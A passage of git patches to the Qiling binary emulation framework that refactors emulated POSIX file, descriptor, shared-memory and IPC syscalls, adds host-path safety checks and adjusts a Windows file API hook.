ql.os.utils.read_cstring(pathname) + absvpath = virtual_abspath_at(ql, vpath, dirfd) - if os.path.exists(host_path) and os.path.isdir(host_path): - ql.os.path.cwd = virt_path + regreturn = -1 if absvpath is None else __do_readlink(ql, absvpath, buf) - regreturn = 0 - ql.log.debug("chdir(%s) = %d"% (virt_path, regreturn)) - else: - regreturn = -1 - ql.log.warning("chdir(%s) = %d : not found" % (virt_path, regreturn)) + ql.log.debug(f'readlinkat({dirfd:d}, "{vpath}", {buf:#x}, {bufsize:#x}) = {regreturn}') return regreturn -def ql_syscall_readlinkat(ql: Qiling, dfd: int, path: int, buf: int, bufsize: int): - pathname = ql.os.utils.read_cstring(path) - # pathname = str(pathname, 'utf-8', errors="ignore") - host_path = ql.os.path.virtual_to_host_path(pathname) - virt_path = ql.os.path.virtual_abspath(pathname) +def ql_syscall_getcwd(ql: Qiling, path_buff: int, path_buffsize: int): + cwd = ql.os.path.cwd - # cover procfs psaudo files first - # TODO: /proc/self/root, /proc/self/cwd - if virt_path == r'/proc/self/exe': - p = ql.os.path.host_to_virtual_path(ql.path) - p = p.encode('utf-8') + cwd_bytes = cwd.encode('utf-8') + b'\x00' + ql.mem.write(path_buff, cwd_bytes) + regreturn = len(cwd_bytes) - ql.mem.write(buf, p + b'\x00') - regreturn = len(p) + ql.log.debug(f'getcwd("{cwd}", {path_buffsize}) = {regreturn}') - elif os.path.exists(host_path): - regreturn = 0 + return regreturn + + +def ql_syscall_chdir(ql: Qiling, path_name: int): + vpath = ql.os.utils.read_cstring(path_name) + hpath = ql.os.path.virtual_to_host_path(vpath) + + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') + + absvpath = ql.os.path.virtual_abspath(vpath) + + if os.path.isdir(hpath): + ql.os.path.cwd = absvpath + regreturn = 0 else: regreturn = -1 - ql.log.debug('readlinkat(%d, "%s", 0x%x, 0x%x) = %d' % (dfd, virt_path, buf, bufsize, regreturn)) + ql.log.debug(f'chdir("{absvpath}") = {regreturn}') return regreturn @@ -455,6 +517,8 @@ def ql_syscall_getppid(ql: Qiling): def ql_syscall_vfork(ql: Qiling): if ql.host.os == QL_OS.WINDOWS: + from multiprocessing import Process + try: pid = Process() pid = 0 @@ -479,6 +543,7 @@ def ql_syscall_vfork(ql: Qiling): def ql_syscall_fork(ql: Qiling): return ql_syscall_vfork(ql) + def ql_syscall_setsid(ql: Qiling): return os.getpid() @@ -539,51 +604,72 @@ def __read_str_array(addr: int) -> Iterator[str]: def ql_syscall_dup(ql: Qiling, oldfd: int): - if oldfd not in range(NR_OPEN): - return -EBADF - - f = ql.os.fd[oldfd] + f = get_opened_fd(ql.os, oldfd) if f is None: - return -EBADF + return -1 - idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] is None), -1) + newfd = next((i for i in range(NR_OPEN) if ql.os.fd[i] is None), -1) - if idx == -1: + if newfd == -1: return -EMFILE - ql.os.fd[idx] = f.dup() + ql.os.fd[newfd] = f.dup() - return idx + ql.log.debug(f'dup({oldfd:d}) = {newfd:d}') + return newfd -def ql_syscall_dup2(ql: Qiling, fd: int, newfd: int): - if fd not in range(NR_OPEN) or newfd not in range(NR_OPEN): - return -EBADF - f = ql.os.fd[fd] +def ql_syscall_dup2(ql: Qiling, oldfd: int, newfd: int): + f = get_opened_fd(ql.os, oldfd) if f is None: - return -EBADF + return -1 + + if newfd not in range(NR_OPEN): + return -1 + + newslot = ql.os.fd[newfd] + + if newslot is not None: + newslot.close() ql.os.fd[newfd] = f.dup() + ql.log.debug(f'dup2({oldfd:d}, {newfd:d}) = {newfd:d}') + return newfd -def ql_syscall_dup3(ql: Qiling, fd: int, newfd: int, flags: int): - if fd not in range(NR_OPEN) or newfd not in range(NR_OPEN): - return -1 +def ql_syscall_dup3(ql: Qiling, oldfd: int, newfd: int, flags: int): + O_CLOEXEC = 0o2000000 - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, oldfd) if f is None: return -1 - ql.os.fd[newfd] = f.dup() + if newfd not in range(NR_OPEN): + return -1 + + newslot = ql.os.fd[newfd] + + if newslot is not None: + newslot.close() + + newf = f.dup() + + if flags & O_CLOEXEC: + newf.close_on_exec = True + + ql.os.fd[newfd] = newf + + ql.log.debug(f'dup3({oldfd:d}, {newfd:d}, 0{flags:o}) = {newfd:d}') return newfd + def ql_syscall_set_tid_address(ql: Qiling, tidptr: int): if ql.os.thread_management: regreturn = ql.os.thread_management.cur_thread.id @@ -621,102 +707,107 @@ def ql_syscall_nice(ql: Qiling, inc: int): return 0 -def ql_syscall_truncate(ql: Qiling, path: int, length: int): - file_path = ql.os.utils.read_cstring(path) - real_path = ql.os.path.transform_to_real_path(file_path) - st_size = Stat(real_path).st_size +def __do_truncate(ql: Qiling, hpath: str, length: int) -> int: + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') try: - if st_size >= length: - os.truncate(real_path, length) + st_size = os.path.getsize(hpath) - else: + if st_size > length: + os.truncate(hpath, length) + + elif st_size < length: padding = length - st_size - with open(real_path, 'a+b') as ofile: + with open(hpath, 'a+b') as ofile: ofile.write(b'\x00' * padding) - except: - regreturn = -1 + except OSError: + return -1 else: - regreturn = 0 + return 0 + - ql.log.debug('truncate(%s, 0x%x) = %d' % (file_path, length, regreturn)) +def ql_syscall_truncate(ql: Qiling, path: int, length: int): + vpath = ql.os.utils.read_cstring(path) + hpath = ql.os.path.virtual_to_host_path(vpath) + + regreturn = __do_truncate(ql, hpath, length) + + ql.log.debug(f'truncate("{vpath}", {length:#x}) = {regreturn}') return regreturn def ql_syscall_ftruncate(ql: Qiling, fd: int, length: int): - real_path = ql.os.fd[fd].name - st_size = Stat(real_path).st_size + f = get_opened_fd(ql.os, fd) - try: - if st_size >= length: - os.truncate(real_path, length) + regreturn = -1 if f is None else __do_truncate(ql, f.name, length) - else: - padding = length - st_size + ql.log.debug(f'ftruncate({fd}, {length:#x}) = {regreturn}') - with open(real_path, 'a+b') as ofile: - ofile.write(b'\x00' * padding) - except: - regreturn = -1 - else: - regreturn = 0 + return regreturn - ql.log.debug("ftruncate(%d, 0x%x) = %d" % (fd, length, regreturn)) - return regreturn +def __do_unlink(ql: Qiling, absvpath: str) -> int: + def __has_opened_fd(hpath: str) -> bool: + opened_fds = (ql.os.fd[i] for i in range(NR_OPEN) if ql.os.fd[i] is not None) + f = next((fd for fd in opened_fds if getattr(fd, 'name', '') == hpath), None) -def ql_syscall_unlink(ql: Qiling, pathname: int): - file_path = ql.os.utils.read_cstring(pathname) - real_path = ql.os.path.transform_to_real_path(file_path) + return f is not None and f.closed - opened_fds = [getattr(ql.os.fd[i], 'name', None) for i in range(NR_OPEN) if ql.os.fd[i] is not None] - path = pathlib.Path(real_path) + hpath = ql.os.path.virtual_to_host_path(absvpath) - if any((real_path not in opened_fds, path.is_block_device(), path.is_fifo(), path.is_socket(), path.is_symlink())): - try: - os.unlink(real_path) - except FileNotFoundError: - ql.log.debug('No such file or directory') - regreturn = -1 - except: - regreturn = -1 - else: - regreturn = 0 + if ql.os.fs_mapper.has_mapping(absvpath): + if __has_opened_fd(hpath): + return -1 + + ql.os.fs_mapper.remove_mapping(absvpath) else: - regreturn = -1 + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') - ql.log.debug("unlink(%s) = %d" % (file_path, regreturn)) + # NOTE: no idea why these are always ok to remove + def __ok_to_remove(hpath: str) -> bool: + path = pathlib.Path(hpath) - return regreturn + return any((path.is_block_device(), path.is_fifo(), path.is_socket(), path.is_symlink())) + if __has_opened_fd(hpath) and not __ok_to_remove(hpath): + return -1 -def ql_syscall_unlinkat(ql: Qiling, fd: int, pathname: int): - file_path = ql.os.utils.read_cstring(pathname) - real_path = ql.os.path.transform_to_real_path(file_path) + try: + os.unlink(hpath) + except OSError: + return -1 - try: - dir_fd = ql.os.fd[fd].fileno() - except: - dir_fd = None + return 0 - try: - if dir_fd is None: - os.unlink(real_path) - else: - os.unlink(file_path, dir_fd=dir_fd) - except OSError as e: - regreturn = -e.errno - else: - regreturn = 0 - ql.log.debug("unlinkat(fd = %d, path = '%s') = %d" % (fd, file_path, regreturn)) +def ql_syscall_unlink(ql: Qiling, pathname: int): + vpath = ql.os.utils.read_cstring(pathname) + absvpath = ql.os.path.virtual_abspath(vpath) + + regreturn = __do_unlink(ql, absvpath) + + ql.log.debug(f'unlink("{vpath}") = {regreturn}') return regreturn + +def ql_syscall_unlinkat(ql: Qiling, dirfd: int, pathname: int, flags: int): + vpath = ql.os.utils.read_cstring(pathname) + absvpath = virtual_abspath_at(ql, vpath, dirfd) + + regreturn = -1 if absvpath is None else __do_unlink(ql, absvpath) + + ql.log.debug(f'unlinkat({dirfd}, "{vpath}") = {regreturn}') + + return regreturn + + # https://man7.org/linux/man-pages/man2/getdents.2.html # struct linux_dirent { # unsigned long d_ino; /* Inode number */ @@ -827,5 +918,6 @@ def _type_mapping(ent): def ql_syscall_getdents(ql: Qiling, fd: int, dirp: int, count: int): return __getdents_common(ql, fd, dirp, count, is_64=False) + def ql_syscall_getdents64(ql: Qiling, fd: int, dirp: int, count: int): return __getdents_common(ql, fd, dirp, count, is_64=True) From 0be462013ad16d333dd04dbd9dd332589da9123a Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:49:32 +0300 Subject: [PATCH 047/103] Patched fcntl functions --- qiling/os/linux/procfs.py | 4 ++ qiling/os/posix/posix.py | 2 +- qiling/os/posix/syscall/fcntl.py | 101 +++++++++++-------------------- 3 files changed, 40 insertions(+), 67 deletions(-) diff --git a/qiling/os/linux/procfs.py b/qiling/os/linux/procfs.py index 11bd623f1..dc51e0611 100644 --- a/qiling/os/linux/procfs.py +++ b/qiling/os/linux/procfs.py @@ -16,6 +16,10 @@ class FsMappedStream(io.BytesIO): def __init__(self, fname: str, *args) -> None: super().__init__(*args) + # note that the name property should reflect the actual file name + # on the host file system, and here we get a virtual file name + # instead. we should be fine, however, since there is no file + # backing this object anyway self.name = fname diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index bce85b7ed..25335d409 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -72,7 +72,7 @@ def __init__(self): def __len__(self): return len(self.__fds) - def __getitem__(self, idx: Union[slice, int]): + def __getitem__(self, idx: int): return self.__fds[idx] def __setitem__(self, idx: int, val: Optional[IO]): diff --git a/qiling/os/posix/syscall/fcntl.py b/qiling/os/posix/syscall/fcntl.py index 6904cba92..5b1f2a9c3 100644 --- a/qiling/os/posix/syscall/fcntl.py +++ b/qiling/os/posix/syscall/fcntl.py @@ -4,7 +4,6 @@ # import os -from pathlib import Path from qiling import Qiling from qiling.const import QL_OS, QL_ARCH @@ -13,38 +12,51 @@ from qiling.os.posix.const_mapping import ql_open_flag_mapping from qiling.os.posix.filestruct import ql_socket +from .unistd import virtual_abspath_at, get_opened_fd -def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int): - vpath = ql.os.utils.read_cstring(filename) +def __do_open(ql: Qiling, absvpath: str, flags: int, mode: int) -> int: flags &= 0xffffffff mode &= 0xffffffff + # look for the next available fd slot idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] is None), -1) if idx == -1: - regreturn = -EMFILE - else: - if ql.arch.type == QL_ARCH.ARM and ql.os.type != QL_OS.QNX: - mode = 0 + return -EMFILE - try: - flags = ql_open_flag_mapping(ql, flags) - ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(vpath, flags, mode) - except QlSyscallError as e: - regreturn = -e.errno - else: - regreturn = idx + if ql.arch.type is QL_ARCH.ARM and ql.os.type is not QL_OS.QNX: + mode = 0 - hpath = ql.os.path.virtual_to_host_path(vpath) + # translate emulated os open flags into host os open flags + flags = ql_open_flag_mapping(ql, flags) + + try: + ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(absvpath, flags, mode) + except QlSyscallError: + return -1 + + return idx + + +def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int): + vpath = ql.os.utils.read_cstring(filename) absvpath = ql.os.path.virtual_abspath(vpath) - ql.log.debug(f'open("{absvpath}", {mode:#o}) = {regreturn}') + regreturn = __do_open(ql, absvpath, flags, mode) - if regreturn >= 0 and regreturn != 2: - ql.log.debug(f'File found: {hpath:s}') - else: - ql.log.debug(f'File not found {hpath:s}') + ql.log.debug(f'open("{absvpath}", {flags:#x}, 0{mode:o}) = {regreturn}') + + return regreturn + + +def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int): + vpath = ql.os.utils.read_cstring(path) + absvpath = virtual_abspath_at(ql, vpath, fd) + + regreturn = -1 if absvpath is None else __do_open(ql, absvpath, flags, mode) + + ql.log.debug(f'openat({fd:d}, "{vpath}", {flags:#x}, 0{mode:o}) = {regreturn:d}') return regreturn @@ -85,54 +97,11 @@ def ql_syscall_creat(ql: Qiling, filename: int, mode: int): return regreturn -def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int): - vpath = ql.os.utils.read_cstring(path) - # real_path = ql.os.path.transform_to_real_path(path) - # relative_path = ql.os.path.transform_to_relative_path(path) - - flags &= 0xffffffff - mode &= 0xffffffff - - idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] is None), -1) - - if idx == -1: - regreturn = -EMFILE - else: - fd = ql.unpacks(ql.pack(fd)) - - if ql.arch.type == QL_ARCH.ARM: - mode = 0 - - try: - flags = ql_open_flag_mapping(ql, flags) - - if 0 <= fd < NR_OPEN: - fobj = ql.os.fd[fd] - - # ql_file object or QlFsMappedObject - if hasattr(fobj, "fileno") and hasattr(fobj, "name"): - if not Path.is_absolute(Path(vpath)): - vpath = str(Path(fobj.name) / Path(vpath)) - - ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(vpath, flags, mode) - except QlSyscallError as e: - regreturn = -e.errno - else: - regreturn = idx - - ql.log.debug(f'openat(fd = {fd:d}, path = {vpath}, mode = {mode:#o}) = {regreturn:d}') - - return regreturn - - def ql_syscall_fcntl(ql: Qiling, fd: int, cmd: int, arg: int): - if fd not in range(NR_OPEN): - return -EBADF - - f = ql.os.fd[fd] + f = get_opened_fd(ql.os, fd) if f is None: - return -EBADF + return -1 if cmd == F_DUPFD: if arg not in range(NR_OPEN): @@ -147,7 +116,7 @@ def ql_syscall_fcntl(ql: Qiling, fd: int, cmd: int, arg: int): regreturn = -EMFILE elif cmd == F_GETFD: - regreturn = getattr(f, "close_on_exec", False) + regreturn = int(getattr(f, "close_on_exec", False)) elif cmd == F_SETFD: f.close_on_exec = bool(arg & FD_CLOEXEC) From 24305784ea00009724ff4c1b77141bea226a4e76 Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:50:32 +0300 Subject: [PATCH 048/103] Patched some stat functions --- qiling/os/posix/syscall/stat.py | 81 +++++++++++++++++++++++---------- 1 file changed, 56 insertions(+), 25 deletions(-) diff --git a/qiling/os/posix/syscall/stat.py b/qiling/os/posix/syscall/stat.py index 0a6da9e4f..d4e1be375 100644 --- a/qiling/os/posix/syscall/stat.py +++ b/qiling/os/posix/syscall/stat.py @@ -1225,27 +1225,45 @@ def transform_path(ql: Qiling, dirfd: int, path: int, flags: int = 0): def ql_syscall_chmod(ql: Qiling, filename: int, mode: int): - file_path = ql.os.utils.read_cstring(filename) - real_path = ql.os.path.transform_to_real_path(file_path) + vpath = ql.os.utils.read_cstring(filename) + hpath = ql.os.path.virtual_to_host_path(vpath) + + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') + try: - os.chmod(real_path, mode) - regreturn = 0 - except: + os.chmod(hpath, mode) + except OSError: regreturn = -1 - ql.log.debug(f'chmod("{ql.os.utils.read_cstring(filename)}", {mode:d}) = 0') + else: + regreturn = 0 + + ql.log.debug(f'chmod("{vpath}", 0{mode:o}) = {regreturn}') + return regreturn + def ql_syscall_fchmod(ql: Qiling, fd: int, mode: int): - if fd not in range(NR_OPEN) or ql.os.fd[fd] is None: - return -EBADF + if fd not in range(NR_OPEN): + return -1 + + f = ql.os.fd[fd] + + if f is None: + return -1 + try: - os.fchmod(ql.os.fd[fd].fileno(), mode) - regreturn = 0 - except: + os.fchmod(f.fileno(), mode) + except OSError: regreturn = -1 - ql.log.debug("fchmod(%d, %d) = %d" % (fd, mode, regreturn)) + else: + regreturn = 0 + + ql.log.debug(f'fchmod({fd}, 0{mode:o}) = {regreturn}') + return regreturn + def ql_syscall_fstatat64(ql: Qiling, dirfd: int, path: int, buf_ptr: int, flags: int): dirfd, real_path = transform_path(ql, dirfd, path, flags) @@ -1476,32 +1494,45 @@ def ql_syscall_mknodat(ql: Qiling, dirfd: int, path: int, mode: int, dev: int): def ql_syscall_mkdir(ql: Qiling, pathname: int, mode: int): - file_path = ql.os.utils.read_cstring(pathname) - real_path = ql.os.path.transform_to_real_path(file_path) - regreturn = 0 + vpath = ql.os.utils.read_cstring(pathname) + hpath = ql.os.path.virtual_to_host_path(vpath) + + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') try: - if not os.path.exists(real_path): - os.mkdir(real_path, mode) - except: + if not os.path.exists(hpath): + os.mkdir(hpath, mode) + except OSError: regreturn = -1 + else: + regreturn = 0 + + ql.log.debug(f'mkdir("{vpath}", 0{mode:o}) = {regreturn}') - ql.log.debug("mkdir(%s, 0%o) = %d" % (real_path, mode, regreturn)) return regreturn + def ql_syscall_rmdir(ql: Qiling, pathname: int): - file_path = ql.os.utils.read_cstring(pathname) - real_path = ql.os.path.transform_to_real_path(file_path) - regreturn = 0 + vpath = ql.os.utils.read_cstring(pathname) + hpath = ql.os.path.virtual_to_host_path(vpath) + + if not ql.os.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') try: - if os.path.exists(real_path): - os.rmdir(real_path) - except: + if os.path.exists(hpath): + os.rmdir(hpath) + except OSError: regreturn = -1 + else: + regreturn = 0 + + ql.log.debug(f'rmdir("{vpath}") = {regreturn}') return regreturn + def ql_syscall_fstatfs(ql: Qiling, fd: int, buf: int): data = b"0" * (12 * 8) # for now, just return 0s regreturn = 0 From 63c92f1a0941627e8f3e34e0d102b4181917ae08 Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 30 Mar 2023 23:51:34 +0300 Subject: [PATCH 049/103] Fix a bug in FindFirstFileA --- qiling/os/windows/dlls/kernel32/fileapi.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/qiling/os/windows/dlls/kernel32/fileapi.py b/qiling/os/windows/dlls/kernel32/fileapi.py index 1176462f6..60465ff87 100644 --- a/qiling/os/windows/dlls/kernel32/fileapi.py +++ b/qiling/os/windows/dlls/kernel32/fileapi.py @@ -52,21 +52,13 @@ def hook_FindFirstFileA(ql: Qiling, address: int, params): if len(filename) >= MAX_PATH: return ERROR_INVALID_PARAMETER - host_path = ql.os.path.virtual_to_host_path(filename) - - # Verify the directory is in ql.rootfs to ensure no path traversal has taken place - if not ql.os.path.is_safe_host_path(host_path): - ql.os.last_error = ERROR_FILE_NOT_FOUND - - return INVALID_HANDLE_VALUE - # Check if path exists filesize = 0 try: - f = ql.os.fs_mapper.open(host_path, "r") + f = ql.os.fs_mapper.open(filename, "r") - filesize = os.path.getsize(host_path) + filesize = os.path.getsize(f.name) except FileNotFoundError: ql.os.last_error = ERROR_FILE_NOT_FOUND From 629454f2de10b0ebabbe16a9003061188d17514e Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 2 Apr 2023 20:49:08 +0300 Subject: [PATCH 050/103] Re-implemented POSIX shm syscalls --- qiling/os/posix/const.py | 29 +++++--- qiling/os/posix/posix.py | 18 ++++- qiling/os/posix/syscall/__init__.py | 1 + qiling/os/posix/syscall/mman.py | 30 -------- qiling/os/posix/syscall/shm.py | 104 ++++++++++++++++++++++++++++ 5 files changed, 142 insertions(+), 40 deletions(-) create mode 100644 qiling/os/posix/syscall/shm.py diff --git a/qiling/os/posix/const.py b/qiling/os/posix/const.py index 632a95ffa..13508058a 100644 --- a/qiling/os/posix/const.py +++ b/qiling/os/posix/const.py @@ -1003,11 +1003,24 @@ class qnx_mmap_flags(Flag): } # shm syscall -IPC_CREAT = 8**3 -IPC_EXCL = 2*(8**3) -IPC_NOWAIT = 4*(8**3) - -SHM_RDONLY = 8**4 -SHM_RND = 2*(8**4) -SHM_REMAP= 4*(8**4) -SHM_EXEC = 1*(8**5) +IPC_PRIVATE = 0 + +# see: https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/ipc.h +IPC_CREAT = 0o0001000 # create if key is nonexistent +IPC_EXCL = 0o0002000 # fail if key exists +IPC_NOWAIT = 0o0004000 # return error on wait + +# see: https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/shm.h +SHM_W = 0o000200 +SHM_R = 0o000400 +SHM_HUGETLB = 0o004000 # segment will use huge TLB pages +SHM_RDONLY = 0o010000 # read-only access +SHM_RND = 0o020000 # round attach address to SHMLBA boundary +SHM_REMAP = 0o040000 # take-over region on attach +SHM_EXEC = 0o100000 # execution access + +SHMMNI = 4096 # max num of segs system wide + +# see: https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/asm-generic/hugetlb_encode.h +HUGETLB_FLAG_ENCODE_SHIFT = 26 +HUGETLB_FLAG_ENCODE_MASK = 0x3f diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index 25335d409..1d639ce13 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -4,7 +4,7 @@ # from inspect import signature, Parameter -from typing import TextIO, Union, Callable, IO, List, Optional +from typing import Dict, NamedTuple, TextIO, Union, Callable, IO, List, Optional from unicorn.arm64_const import UC_ARM64_REG_X8, UC_ARM64_REG_X16 from unicorn.arm_const import ( @@ -91,6 +91,16 @@ def restore(self, fds): self.__fds = fds +# vaguely reflects a shmid_ds structure +class QlShmId(NamedTuple): + segsz: int + uid: int + gid: int + # cuid: int + # cgid: int + mode: int + + class QlOsPosix(QlOs): def __init__(self, ql: Qiling): @@ -157,7 +167,7 @@ def __init__(self, ql: Qiling): self.stdout = self._stdout self.stderr = self._stderr - self._shms = {} + self._shm: Dict[int, QlShmId] = {} def __get_syscall_mapper(self, archtype: QL_ARCH): qlos_path = f'.os.{self.type.name.lower()}.map_syscall' @@ -349,3 +359,7 @@ def set_syscall_return(self, retval: int): @property def fd(self): return self._fd + + @property + def shm(self): + return self._shm \ No newline at end of file diff --git a/qiling/os/posix/syscall/__init__.py b/qiling/os/posix/syscall/__init__.py index 4e87d9b65..3477a9479 100644 --- a/qiling/os/posix/syscall/__init__.py +++ b/qiling/os/posix/syscall/__init__.py @@ -16,6 +16,7 @@ from .sched import * from .select import * from .sendfile import * +from .shm import * from .signal import * from .socket import * from .stat import * diff --git a/qiling/os/posix/syscall/mman.py b/qiling/os/posix/syscall/mman.py index 6d80a74e1..4990b3c51 100755 --- a/qiling/os/posix/syscall/mman.py +++ b/qiling/os/posix/syscall/mman.py @@ -225,33 +225,3 @@ def ql_syscall_mmap2(ql: Qiling, addr: int, length: int, prot: int, flags: int, pgoffset *= ql.mem.pagesize return syscall_mmap_impl(ql, addr, length, prot, flags, fd, pgoffset, 2) - - -def ql_syscall_shmget(ql: Qiling, key: int, size: int, shmflg: int): - if shmflg & IPC_CREAT: - if shmflg & IPC_EXCL: - if key in ql.os._shms: - return EEXIST - else: - #addr = ql.mem.map_anywhere(size) - ql.os._shms[key] = (key, size) - return key - else: - if key not in ql.os._shms: - return ENOENT - - -def ql_syscall_shmat(ql: Qiling, shmid: int, shmaddr: int, shmflg: int): - # shmid == key - # dummy implementation - if shmid not in ql.os._shms: - return EINVAL - - key, size = ql.os._shms[shmid] - - if shmaddr == 0: - addr = ql.mem.map_anywhere(size) - else: - addr = ql.mem.map(shmaddr, size, info="[shm]") - - return addr diff --git a/qiling/os/posix/syscall/shm.py b/qiling/os/posix/syscall/shm.py new file mode 100644 index 000000000..926f72e49 --- /dev/null +++ b/qiling/os/posix/syscall/shm.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from unicorn.unicorn_const import UC_PROT_WRITE, UC_PROT_READ + +from qiling import Qiling +from qiling.exception import QlOutOfMemory +from qiling.os.posix.const import * +from qiling.os.posix.posix import QlShmId + + +def ql_syscall_shmget(ql: Qiling, key: int, size: int, shmflg: int): + + def __create_shm(size: int, flags: int) -> int: + perms = flags & ((1 << 9) - 1) + + posix_to_uc = ( + (SHM_W, UC_PROT_WRITE), + (SHM_R, UC_PROT_READ) + ) + + # convert posix permissions to unicorn memory access bits + uc_perms = sum(u_perm for p_perm, u_perm in posix_to_uc if perms & p_perm) + + # determine size alignment: either normal or huge page + if flags & SHM_HUGETLB: + shiftsize = (flags >> HUGETLB_FLAG_ENCODE_SHIFT) & HUGETLB_FLAG_ENCODE_MASK + pagesize = (1 << shiftsize) + else: + pagesize = ql.mem.pagesize + + size = ql.mem.align_up(size, pagesize) + + if len(ql.os.shm) < SHMMNI: + try: + key = ql.mem.map_anywhere(size, perms=uc_perms, info='[shm]') + except QlOutOfMemory: + return -1 # ENOMEM + + ql.os.shm[key] = QlShmId(size, ql.os.uid, ql.os.gid, perms) + + else: + return -1 # ENOSPC + + return key + + # create new shared memory segment + if key == IPC_PRIVATE: + key = __create_shm(size, shmflg) + + # a shm with the specified key exists + elif key in ql.os.shm: + # ... but the user requested to create a new one + if shmflg & (IPC_CREAT | IPC_EXCL): + return -1 # EEXIST + + shmid = ql.os.shm[key] + + # check whether the user has permissions to access this shm + # FIXME: should probably use ql.os.cuid instead, but we don't support it yet + if (ql.os.uid == shmid.uid) and (shmid.mode & (SHM_W | SHM_R)): + return key + + else: + return -1 # EACCES + + # a shm with the specified key does not exist + else: + if shmflg & IPC_CREAT: + key = __create_shm(size, shmflg) + + else: + return -1 # ENOENT + + return key + + +def ql_syscall_shmat(ql: Qiling, shmid: int, shmaddr: int, shmflg: int): + if shmid not in ql.os.shm: + return -1 # EINVAL + + if shmaddr == 0: + # system may choose any suitable page-aligned address, so just use the key + addr = shmid + + elif shmflg & SHM_RND: + # note: should align to SHMLBA, but usually its value is just a page + addr = ql.mem.align(shmaddr) + + else: + if shmaddr & (ql.mem.pagesize - 1): + return -1 # EINVAL + + addr = shmaddr + + return addr + + +__all__ = [ + 'ql_syscall_shmget', + 'ql_syscall_shmat' +] From e76b8ab95e1c66178dd5cc3d8c2d1cffb61a0233 Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 2 Apr 2023 20:50:38 +0300 Subject: [PATCH 051/103] Partialy implemented POSIX IPC syscall --- qiling/os/posix/const.py | 14 ++++++++++ qiling/os/posix/syscall/__init__.py | 1 + qiling/os/posix/syscall/syscall.py | 41 +++++++++++++++++++++++++++++ 3 files changed, 56 insertions(+) create mode 100644 qiling/os/posix/syscall/syscall.py diff --git a/qiling/os/posix/const.py b/qiling/os/posix/const.py index 13508058a..103559f02 100644 --- a/qiling/os/posix/const.py +++ b/qiling/os/posix/const.py @@ -1024,3 +1024,17 @@ class qnx_mmap_flags(Flag): # see: https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/asm-generic/hugetlb_encode.h HUGETLB_FLAG_ENCODE_SHIFT = 26 HUGETLB_FLAG_ENCODE_MASK = 0x3f + +# ipc syscall +SEMOP = 1 +SEMGET = 2 +SEMCTL = 3 +SEMTIMEDOP = 4 +MSGSND = 11 +MSGRCV = 12 +MSGGET = 13 +MSGCTL = 14 +SHMAT = 21 +SHMDT = 22 +SHMGET = 23 +SHMCTL = 24 diff --git a/qiling/os/posix/syscall/__init__.py b/qiling/os/posix/syscall/__init__.py index 3477a9479..a8c25d18f 100644 --- a/qiling/os/posix/syscall/__init__.py +++ b/qiling/os/posix/syscall/__init__.py @@ -21,6 +21,7 @@ from .socket import * from .stat import * from .sysctl import * +from .syscall import * from .sysinfo import * from .time import * from .types import * diff --git a/qiling/os/posix/syscall/syscall.py b/qiling/os/posix/syscall/syscall.py new file mode 100644 index 000000000..53b3dc0e9 --- /dev/null +++ b/qiling/os/posix/syscall/syscall.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from qiling import Qiling +from qiling.os.posix.const import * + +from .shm import * + + +def ql_syscall_ipc(ql: Qiling, call: int, first: int, second: int, third: int, ptr: int, fifth: int): + version = call >> 16 # hi word + call &= 0xffff # lo word + + # FIXME: this is an incomplete implementation. + # see: https://elixir.bootlin.com/linux/v5.19.17/source/ipc/syscall.c + + def __call_shmat(*args: int) -> int: + if version == 1: + return -1 # EINVAL + + return ql_syscall_shmget(ql, args[0], args[3], args[1]) + + def __call_shmget(*args: int) -> int: + return ql_syscall_shmget(ql, args[0], args[1], args[2]) + + ipc_call = { + SHMAT: __call_shmat, + SHMGET: __call_shmget + } + + if call not in ipc_call: + return -1 # ENOSYS + + return ipc_call[call](first, second, third, ptr, fifth) + + +__all__ = [ + 'ql_syscall_ipc' +] From 2347a9b9db2e0e7fe2d31825da837889545dd991 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Apr 2023 16:38:57 +0300 Subject: [PATCH 052/103] Adjust ELF shellcode tests --- tests/test_shellcode.py | 119 +++++++++++++++++++++++++++------------- 1 file changed, 82 insertions(+), 37 deletions(-) diff --git a/tests/test_shellcode.py b/tests/test_shellcode.py index 8d01e4e59..95b414ca5 100644 --- a/tests/test_shellcode.py +++ b/tests/test_shellcode.py @@ -1,97 +1,142 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # 